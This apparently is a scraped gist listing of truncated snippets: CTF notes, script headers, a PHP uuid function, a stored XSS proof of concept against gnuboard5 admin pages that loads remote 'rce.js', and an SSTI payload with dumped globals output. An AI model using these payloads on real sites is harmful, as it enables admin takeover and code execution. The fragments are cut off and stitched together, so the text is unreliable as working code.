Simple JS Jail challenge.
It is run on context, so we have nothing but to play with constructor
and console
.
1337 === eval(our_input)
import os | |
import urllib2 | |
import urllib | |
import random | |
import sys | |
import time | |
import hashlib | |
def rand(sz=4): | |
return str(random.randint(10**sz, 100**sz)) |
#!/usr/bin/python | |
#-*- coding:utf-8 -*- | |
# Developer: Harold Kim ([email protected]) | |
import os | |
import sys | |
import time | |
import urllib | |
import urllib2 |
#!/bin/bash | |
# Maintainer: Harold Kim ([email protected]) | |
# Tested in CentOS 7.6.1810 | |
# $ lsb_release -a | |
# LSB Version: :core-4.1-amd64:core-4.1-noarch | |
# Distributor ID: CentOS | |
# Description: CentOS Linux release 7.6.1810 (Core) | |
# Release: 7.6.1810 | |
# Codename: Core |
<?php | |
// Ported from papago.py | |
// v1: b64_enc(rot13([:16]) + [16:]) | |
/* Derived from stackoverflow */ | |
function uuidgen() { | |
return sprintf('%08x-%04x-%04x-%04x-%04x%08x', | |
mt_rand(0, 0xffffffff), | |
mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff), | |
mt_rand(0, 0xffff), mt_rand(0, 0xffffffff) |
<!-- | |
Stored XSS (2019.01.02) | |
--> | |
<form action="http://10.10.10.60/gnuboard5/adm/sms_admin/form_group_update.php" method="POST"> | |
<input type='hidden' name='fg_no' value=''> | |
<input type='hidden' name='fg_name' id='payload' value=''> | |
</form> | |
<script> | |
var random = Math.round(Math.random() * 1000000000); | |
var script_url = '//10.10.10.30/vulnerable_rce_good_for_reason/rce.js'; // RCE from admin |
#!/usr/bin/python | |
#Nothing on stackoverflow works! | |
import zipfile | |
import sys | |
zip = zipfile.ZipFile('FILENAME', 'r') | |
zipinfo = zip.infolist() | |
for _file in zipinfo: | |
_file.filename = bytes(_file.filename).decode('cp949') |
SSTI
{rating[comments][0].__class__.__init__.__globals__}
{'__name__': 'app.loaddata', '__doc__': None, '__package__': 'app', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fa912f51670>, '__spec__': ModuleSpec(name='app.loaddata', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7fa912f51670>, origin='./app/loaddata.py'), '__file__': './app/loaddata.py', '__cached__': './app/__pycache__/loaddata.cpython-38.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': , '__spec__': ModuleSpec(name='builtins', loader=), '__build_class__': , '__import__': , 'abs': , 'all': , 'any': , 'ascii': , 'bin': , 'breakpoint': , 'callable': , 'chr': , 'compile': , 'delattr': , 'dir': , 'divmod': , 'eval': , 'exec': , 'format':